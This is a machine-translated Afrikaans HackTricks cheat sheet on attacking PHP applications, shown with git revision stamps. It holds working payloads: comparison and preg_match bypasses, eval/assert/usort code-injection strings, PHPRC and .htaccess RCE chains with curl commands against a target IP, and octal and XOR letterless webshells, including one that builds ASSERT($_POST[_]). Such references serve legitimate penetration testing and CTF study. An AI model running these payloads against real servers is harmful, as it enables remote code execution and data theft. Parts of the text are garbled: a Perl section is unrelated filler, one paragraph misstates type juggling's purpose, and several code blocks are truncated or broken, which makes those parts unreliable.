hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

501 lines
26 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# PHP Truuks
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:24:39 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Koekies algemene plek:
2024-02-11 02:07:06 +00:00
Dit is ook geldig vir phpMyAdmin-koekies.
2024-02-11 02:07:06 +00:00
Koekies:
```
PHPSESSID
phpMyAdmin
```
2024-02-11 02:07:06 +00:00
Liggings:
```
/var/lib/php/sessions
2021-04-20 18:26:51 +00:00
/var/lib/php5/
/tmp/
2021-04-20 18:27:38 +00:00
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
2024-02-11 02:07:06 +00:00
## Omseil PHP-vergelykings
2024-02-11 02:07:06 +00:00
### Los vergelykings/Type Juggling ( == )
2024-02-11 02:07:06 +00:00
As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag gedra nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omskep is. As jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
2022-06-19 15:56:48 +00:00
2024-02-11 02:07:06 +00:00
PHP-vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
2023-02-16 13:29:30 +00:00
![](<../../../.gitbook/assets/image (40) (1).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
2024-02-11 02:07:06 +00:00
* `"string" == 0 -> True` 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer
* `"0xAAAA" == "43690" -> True` Strings wat uit nommers in desimale of heksadesimale formaat bestaan, kan vergelyk word met ander nommers/strings met 'n True-resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en deur enigiets gevolg word, sal gelyk wees aan 0
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en deur enige letter gevolg word (X kan enige letter wees) en deur enigiets gevolg word, sal gelyk wees aan 0
* `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die string-inset van "0" en 'n inhoud wat gehash en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter is, kan jy die vergelyking omseil. Jy kan **reeds gehashte strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0
2024-02-11 02:07:06 +00:00
Meer inligting by [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
2022-06-19 15:56:48 +00:00
### **in\_array()**
2024-02-11 02:07:06 +00:00
**Type Juggling** beïnvloed ook die `in_array()`-funksie standaard (jy moet die derde argument op waar stel om 'n streng vergelyking te maak):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
2022-06-19 15:56:48 +00:00
### strcmp()/strcasecmp()
2024-02-11 02:07:06 +00:00
Indien hierdie funksie gebruik word vir **enige verifikasie kontrole** (soos die wagwoordkontrole) en die gebruiker beheer een kant van die vergelyking, kan hy 'n leë reeks stuur in plaas van 'n string as die waarde van die wagwoord (`https://example.com/login.php/?username=admin&password[]=`) en hierdie kontrole omseil:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
2024-02-11 02:07:06 +00:00
Dieselfde fout kom voor met `strcasecmp()`
2024-02-11 02:07:06 +00:00
### Streng tipe jonglering
2024-02-11 02:07:06 +00:00
Selfs as `===` gebruik word, kan daar foute wees wat die vergelyking vatbaar maak vir tipe jonglering. Byvoorbeeld, as die vergelyking die data omskakel na 'n ander tipe objek voordat dit vergelyk word:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
2022-06-19 15:56:48 +00:00
### preg\_match(/^.\*/)
2024-02-11 02:07:06 +00:00
**`preg_match()`** kan gebruik word om **gebruikersinvoer te valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** teenwoordig is in die **gebruikersinvoer** en as dit nie is nie, kan die kode voortgaan met sy uitvoering).
2024-02-11 02:07:06 +00:00
#### Nuwe lyn omseiling
2024-02-11 02:07:06 +00:00
Maar wanneer die begin van die regexp bepaal word, **kontroleer `preg_match()` slegs die eerste lyn van die gebruikersinvoer**, dus as jy op een of ander manier die invoer in **verskeie lyne kan stuur**, kan jy hierdie kontrole omseil. Voorbeeld:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
2024-02-11 02:07:06 +00:00
Om hierdie kontrole te omseil, kan jy die waarde stuur met nuwe lyne urlencoded (`%0A`) of as jy JSON-data kan stuur, stuur dit in verskeie lyne:
```php
{
2024-02-11 02:07:06 +00:00
"cmd": "cat /etc/passwd"
}
```
2024-02-11 02:07:06 +00:00
Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
2024-02-11 02:07:06 +00:00
#### **Lengte fout omseil**
2024-02-11 02:07:06 +00:00
(Die omseil is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15 nie)\
As jy 'n geldige baie **groot inset** na `preg_match()` kan stuur, sal dit **nie in staat wees om dit te verwerk** en jy sal in staat wees om die toets te **omseil**. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### ReDoS Bypass
2024-02-11 02:07:06 +00:00
Truuk vanaf: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
2024-02-08 21:36:15 +00:00
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
2024-02-11 02:07:06 +00:00
In kort gebeur die probleem omdat die `preg_*` funksies in PHP bou op die [PCRE-biblioteek](http://www.pcre.org/). In PCRE word sekere regulêre uitdrukkings deur middel van baie herhalende oproepe aangepas, wat baie stakruimte gebruik. Dit is moontlik om 'n limiet te stel op die aantal herhalings wat toegelaat word, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), wat meer is as wat in die stak pas.
2024-02-11 02:07:06 +00:00
[Hierdie Stackoverflow-draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook gekoppel in die pos waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
**Stuur 'n inset wat die regex 100\_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die `preg_match()` funksie laat `false` terugkeer en sodoende die toepassing laat dink dat ons inset nie skadelik is nie, en aan die einde van die payload die verrassing gooi soos `{system(<verybadcommand>)}` om SSTI --> RCE --> vlag te kry :)**.
2024-02-11 02:07:06 +00:00
Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar eerder tel ons "terugspoortreeks", wat soos die [PHP-dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) dit stel, standaard 1\_000\_000 (1M) is in die `pcre.backtrack_limit` veranderlike.\
Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoortreeks (500k vorentoe en 500k agtertoe):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
2024-02-11 02:07:06 +00:00
### Tipe Jonglering vir PHP obfuskasie
Type jonglering is 'n tegniek wat gebruik word vir PHP obfuskasie. Dit behels die manipulasie van die tipe van 'n waarde om dit te laat lyk asof dit 'n ander tipe is. Hierdie tegniek kan gebruik word om kode te verberg en te verwar, wat dit moeiliker maak vir aanvallers om die ware funksionaliteit van die kode te verstaan.
In PHP, word tipes geïdentifiseer deur die waardes wat hulle verteenwoordig. Byvoorbeeld, 'n string kan geïdentifiseer word deur aanhalingstekens rondom die waarde te plaas, terwyl 'n getal geen aanhalingstekens het nie. Deur die tipe van 'n waarde te manipuleer, kan 'n aanvaller die kode moeiliker maak om te ontleed en te verstaan.
Hier is 'n voorbeeld van hoe tipe jonglering in PHP gebruik kan word:
2024-02-11 02:07:06 +00:00
```php
$var1 = "123";
$var2 = 123;
if ($var1 == $var2) {
echo "Die waardes is gelyk";
} else {
echo "Die waardes is nie gelyk nie";
}
```
In hierdie voorbeeld sal die uitset "Die waardes is gelyk" wees, alhoewel die twee veranderlikes verskillende tipes het. Dit is omdat PHP outomaties probeer om die tipes van die waardes aan te pas om hulle te vergelyk. Hierdie gedrag kan gebruik word om kode te obfuskasie deur die tipe van waardes te manipuleer.
Dit is belangrik om te verstaan dat tipe jonglering nie 'n veilige manier is om kode te obfuskasie nie. Dit kan die kode moeiliker maak om te lees, maar dit sal nie die kode volledig beskerm teen 'n bekwame aanvaller nie. Dit is slegs een van die vele tegnieke wat gebruik kan word in 'n algehele obfuskasie-strategie.
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
2024-02-11 02:07:06 +00:00
## Voer uit na omskakeling (EAR)
2024-02-11 02:07:06 +00:00
As PHP na 'n ander bladsy omskakel, maar geen **`die`** of **`exit`** funksie word **geroep nadat die `Location`-kop ingestel is nie**, gaan PHP voort om uit te voer en die data aan die liggaam toe te voeg:
```php
<?php
2024-02-11 02:07:06 +00:00
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```
2024-02-11 02:07:06 +00:00
## Meer truuks
2024-02-11 02:07:06 +00:00
* **register\_globals**: In **PHP < 4.1.1.1** of as dit verkeerd gekonfigureer is, kan **register\_globals** aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $\_GET, as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Deur dus HTTP parameters te stuur, kan jy veranderlikes oorskryf** wat binne die kode gebruik word.
* Die **PHPSESSION-koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie gebruik word**, kan jy maak dat 'n paadjie **die koekie van die paadjie toegang** deur die waarde van die ander paadjie se koekie in te stel.\
Op hierdie manier, as **beide paadjies 'n veranderlike met dieselfde naam toegang**, kan jy maak dat die **waarde van daardie veranderlike in paadjie1 van toepassing is op paadjie2**. En dan sal paadjie2 die veranderlikes van paadjie1 as geldig beskou (deur die koekie die naam te gee wat daarmee ooreenstem in paadjie2).
* Wanneer jy die **gebruikersname** van die gebruikers van die masjien het, kyk na die adres: **/\~\<GEBRUIKERSNAAM>** om te sien of die php-direktorieë geaktiveer is.
* [**LFI en RCE met behulp van php wrappers**](../../../pentesting-web/file-inclusion/)
2022-06-19 15:56:48 +00:00
### password\_hash/password\_verify
2021-04-17 15:00:15 +00:00
2024-02-11 02:07:06 +00:00
Hierdie funksies word tipies gebruik in PHP om **hassies van wagwoorde te genereer** en om te **kontroleer** of 'n wagwoord korrek is in vergelyking met 'n hassie.\
Die ondersteunde algoritmes is: `PASSWORD_DEFAULT` en `PASSWORD_BCRYPT` (begin met `$2y$`). Let daarop dat **PASSWORD\_DEFAULT dikwels dieselfde as PASSWORD\_BCRYPT is**. En tans het **PASSWORD\_BCRYPT** 'n **groottebeperking in die inset van 72 byte**. Daarom, as jy iets groter as 72 byte met hierdie algoritme probeer hassie, sal slegs die eerste 72B gebruik word:
2021-04-17 15:00:15 +00:00
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
2024-02-11 02:07:06 +00:00
### HTTP-koppele om PHP-foute te misbruik
2021-04-17 15:00:15 +00:00
2024-02-11 02:07:06 +00:00
As 'n **PHP-bladsy foute druk en gebruikersinvoer terugvoer**, kan die gebruiker die PHP-bediener laat terugsit **inhoud wat lank genoeg is**, sodat wanneer dit probeer om die koppele by die antwoord te voeg, die bediener 'n fout sal gooi.\
In die volgende scenario het die **aanvaller die bediener groot foute laat gooi**, en soos u kan sien op die skerm, kon PHP nie **die kopinligting wysig nie** (soos byvoorbeeld die CSP-kop is nie na die gebruiker gestuur nie):
2022-03-21 17:05:35 +00:00
![](<../../../.gitbook/assets/image (465).png>)
2024-02-11 02:07:06 +00:00
## Kode-uitvoering
2024-02-11 02:07:06 +00:00
**stelsel("ls");**\
**\`ls\`;**\
2021-11-30 16:46:07 +00:00
**shell\_exec("ls");**
2024-02-11 02:07:06 +00:00
[Kyk hier vir meer nuttige PHP-funksies](php-useful-functions-disable\_functions-open\_basedir-bypass/)
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
2024-02-11 02:07:06 +00:00
Om die kode in die "vervang" argument uit te voer, is ten minste een ooreenstemming nodig.\
Hierdie opsie van preg\_replace is **verouderd vanaf PHP 5.5.0.**
### **RCE via Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE via Assert()**
2024-02-11 02:07:06 +00:00
Hierdie funksie binne php stel jou in staat om **kode uit te voer wat in 'n string geskryf is** om sodoende **waar of vals terug te gee** (en afhangend hiervan die uitvoering te verander). Gewoonlik word die gebruiker se veranderlike in die middel van 'n string ingevoeg. Byvoorbeeld:\
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval kan jy **RCE** verkry deur:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
2024-02-11 02:07:06 +00:00
Jy sal die kode se sintaks moet **breek**, jou **payload** byvoeg, en dit dan weer **regmaak**. Jy kan **logiese operasies** soos "**en**" of "%26%26" of "|" gebruik. Let daarop dat "of", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Op dieselfde manier werk ";" nie, omdat ons payload nie uitgevoer sal word nie.
2024-02-11 02:07:06 +00:00
**Ander opsie** is om die uitvoering van die opdrag by die string te voeg: `'.highlight_file('.passwd').'`
2024-02-11 02:07:06 +00:00
**Ander opsie** (as jy die interne kode het) is om 'n sekere veranderlike te wysig om die uitvoering te verander: `$file = "hola"`
### **RCE via usort()**
2024-02-11 02:07:06 +00:00
Hierdie funksie word gebruik om 'n lys items te sorteer deur 'n spesifieke funksie te gebruik.\
Om hierdie funksie te misbruik:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```
```php
<?php
function foo($x,$y){
2024-02-11 02:07:06 +00:00
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
2024-02-11 02:07:06 +00:00
usort();}phpinfo;#, "cmp");
}?>
```
2024-02-11 02:07:06 +00:00
Jy kan ook **//** gebruik om die res van die kode te kommentaar.
2024-02-11 02:07:06 +00:00
Om die aantal hakies wat jy moet sluit te bepaal:
2024-02-11 02:07:06 +00:00
* `?order=id;}//`: ons kry 'n foutboodskap (`Parse error: syntax error, unexpected ';'`). Ons mis waarskynlik een of meer hakies.
* `?order=id);}//`: ons kry 'n **waarskuwing**. Dit lyk reg.
* `?order=id));}//`: ons kry 'n foutboodskap (`Parse error: syntax error, unexpected ')' i`). Ons het waarskynlik te veel sluitende hakies.
### **RCE via .httaccess**
2024-02-11 02:07:06 +00:00
As jy 'n **.htaccess** kan **oplaai**, kan jy verskeie dinge instel en selfs kode uitvoer (deur te konfigureer dat lêers met die .htaccess-uitbreiding **uitgevoer** kan word).
2024-02-11 02:07:06 +00:00
Verskillende .htaccess-skulpe kan [hier](https://github.com/wireghoul/htshells) gevind word.
### RCE via Env Variables
2024-02-11 02:07:06 +00:00
As jy 'n kwesbaarheid vind wat jou in staat stel om **omgewingsveranderlikes in PHP te wysig** (en nog een om lêers op te laai, alhoewel dit dalk omseil kan word deur meer navorsing), kan jy hierdie gedrag misbruik om **RCE** te kry.
2024-02-11 02:07:06 +00:00
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsveranderlike stel jou in staat om arbitrêre biblioteke te laai wanneer jy ander binêre lêers uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).
* **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasie-lêer** te vind, wat gewoonlik `php.ini` genoem word. As jy jou eie konfigurasie-lêer kan oplaai, gebruik dan `PHPRC` om PHP daarheen te verwys. Voeg 'n **`auto_prepend_file`**-inskrywing by wat 'n tweede opgelaai lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode wat dan deur die PHP-uitvoeringstyd voor enige ander kode uitgevoer** word.
1. Laai 'n PHP-lêer op wat ons skelkode bevat
2. Laai 'n tweede lêer op wat 'n **`auto_prepend_file`**-riglyn bevat wat die PHP-voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
3. Stel die `PHPRC`-veranderlike in op die lêer wat ons in stap 2 opgelaai het.
* Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - nog 'n opsie
* As jy **nie lêers kan oplaai nie**, kan jy in FreeBSD die "lêer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek wat na die `stdin` gestuur is, is:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Of om RCE te kry, aktiveer **`allow_url_include`** en voeg 'n lêer met **base64 PHP-kode** voor:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Tegniek [**uit hierdie verslag**](https://vulncheck.com/blog/juniper-cve-2023-36845).
2024-02-11 02:07:06 +00:00
## PHP Statische analise
2024-02-11 02:07:06 +00:00
Kyk of jy kode kan invoeg in oproepe na hierdie funksies (van [hier](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
2024-02-11 02:07:06 +00:00
As jy 'n PHP-toepassing aan die debug is, kan jy foutafdrukke globaal aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en Apache te herlaai: `sudo systemctl restart apache2`
2024-02-11 02:07:06 +00:00
### Ontkluwing van PHP-kode
2024-02-11 02:07:06 +00:00
Jy kan die webwerf [www.unphp.net](http://www.unphp.net) gebruik om PHP-kode te ontkluur.
2022-06-20 07:40:16 +00:00
2024-02-11 02:07:06 +00:00
## PHP Wrappers & Protokolle
2022-06-20 07:40:16 +00:00
2024-02-11 02:07:06 +00:00
PHP Wrappers en protokolle kan jou in staat stel om skryf- en leesbeskerming in 'n stelsel te omseil en dit te kompromitteer. Vir [meer inligting, besoek hierdie bladsy](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
2022-08-04 10:07:55 +00:00
2024-02-11 02:07:06 +00:00
## Xdebug ongeagte RCE
2022-08-04 10:07:55 +00:00
2024-02-11 02:07:06 +00:00
As jy sien dat Xdebug geaktiveer is in 'n `phpconfig()` uitset, moet jy probeer om RCE te kry deur [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) te gebruik.
2024-02-11 02:07:06 +00:00
## Veranderlike veranderlikes
```php
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
2022-06-20 07:40:16 +00:00
echo $$x; //Drums
echo $Da; //Drums
2022-06-20 07:40:16 +00:00
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
2024-02-11 02:07:06 +00:00
## RCE misbruik van nuwe $\_GET\["a"]\($\_GET\["b"])
2024-02-11 02:07:06 +00:00
As jy op 'n bladsy 'n **nuwe voorwerp van 'n willekeurige klas kan skep**, kan jy moontlik RCE verkry. Kyk na die volgende bladsy om te leer hoe:
2022-08-04 10:07:55 +00:00
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
2021-07-06 22:45:27 +00:00
2024-02-11 02:07:06 +00:00
## Voer PHP uit sonder letters
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
2024-02-11 02:07:06 +00:00
### Gebruik van oktaal
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
2022-06-19 15:56:48 +00:00
### **XOR**
2024-02-11 02:07:06 +00:00
XOR (Exclusive OR) is 'n logiese operasie wat gebruik word in kriptografie en rekenaarnetwerke. Dit is 'n bietjie-oor-bietjie operasie wat twee bietjiepatrone vergelyk en 'n nuwe bietjiepatroon genereer volgens 'n spesifieke reël.
In kriptografie word XOR gebruik om data te versleutel en te ontsluit. Dit is 'n effektiewe manier om data te beskerm teen ongeoorloofde toegang. XOR kan ook gebruik word om data te versteek of te verberg.
In rekenaarnetwerke word XOR gebruik om data te verifieer en te beskerm teen foutiewe oordrag. Dit kan gebruik word om data-integriteit te verseker en om te verseker dat data korrek oorgedra word.
XOR is 'n nuttige tegniek wat in verskeie toepassings gebruik kan word. Dit is belangrik vir 'n hacker om die konsep van XOR te verstaan en hoe dit gebruik kan word in verskillende situasies.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
2024-02-11 02:07:06 +00:00
### XOR maklike skuldkode
2024-02-11 02:07:06 +00:00
Volgens [**hierdie skryfstuk**](https://mgp25.com/ctf/Web-challenge/) is dit moontlik om 'n maklike skuldkode op hierdie manier te genereer:
2022-06-20 08:59:40 +00:00
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
2024-02-11 02:07:06 +00:00
So, as jy **arbitrêre PHP sonder syfers en letters kan uitvoer**, kan jy 'n versoek stuur soos die volgende om misbruik te maak van daardie payload om arbitrêre PHP uit te voer:
2022-06-20 08:59:40 +00:00
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
2024-02-11 02:07:06 +00:00
Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
2022-06-20 08:59:40 +00:00
2024-02-11 02:07:06 +00:00
### XOR Shellcode (binne eval)
```bash
#!/bin/bash
if [[ -z $1 ]]; then
2024-02-11 02:07:06 +00:00
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
```
```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
2024-02-11 02:07:06 +00:00
### Perl soos
Perl is 'n kragtige skriptingtaal wat dikwels gebruik word vir webontwikkeling en stelseladministrasie. Dit bied 'n ryk stel funksies en biblioteke wat dit 'n gewilde keuse maak vir programmeerders. Hier is 'n paar Perl-truuks wat jy kan gebruik om jou webtoepassings te verbeter:
#### Regulêre uitdrukkings
Perl bied 'n kragtige regulêre uitdrukkingsbiblioteek wat dit maklik maak om te soek, vervang en manipuleer in teks. Jy kan dit gebruik om patrone in jou webinhoud te vind en te verander.
```perl
if ($string =~ /patroon/) {
# Doen iets as die patroon gevind word
}
```
2024-02-11 02:07:06 +00:00
#### CGI-programmering
2024-02-11 02:07:06 +00:00
Perl is baie gewild vir CGI-programmering, wat dit moontlik maak om dinamiese webinhoud te skep. Jy kan vormdata ontvang en verwerk, en dit gebruik om dinamiese webbladsye te genereer.
```perl
use CGI;
my $cgi = CGI->new;
my $name = $cgi->param('name');
print $cgi->header;
print "Hallo, $name!";
```
#### Databasisinteraksie
Perl het 'n verskeidenheid databasisbiblioteke wat dit maklik maak om met databasisse te kommunikeer. Jy kan dit gebruik om data uit 'n databasis te haal, dit te wysig en nuwe data in te voeg.
```perl
use DBI;
my $dbh = DBI->connect("DBI:mysql:database=naam;host=host", "gebruiker", "wagwoord");
my $sth = $dbh->prepare("SELECT * FROM tabelle");
$sth->execute;
while (my $row = $sth->fetchrow_hashref) {
# Doen iets met die data
}
$dbh->disconnect;
```
#### Lêerhantering
Perl bied 'n kragtige lêerhanteringsbiblioteek wat dit maklik maak om lêers te skep, te lees en te skryf. Jy kan dit gebruik om tekslêers te manipuleer of om lêers vanaf die bediener af te laai.
```perl
open(my $file, '>', 'lêernaam.txt');
print $file "Inhoud van die lêer";
close($file);
```
Hierdie is slegs 'n paar van die kragtige funksies wat Perl bied vir webontwikkeling. Deur hierdie truuks te gebruik, kan jy jou webtoepassings verbeter en meer doeltreffend maak.
```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
2024-02-11 02:07:06 +00:00
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
2024-02-11 02:07:06 +00:00
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
2024-02-11 02:07:06 +00:00
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
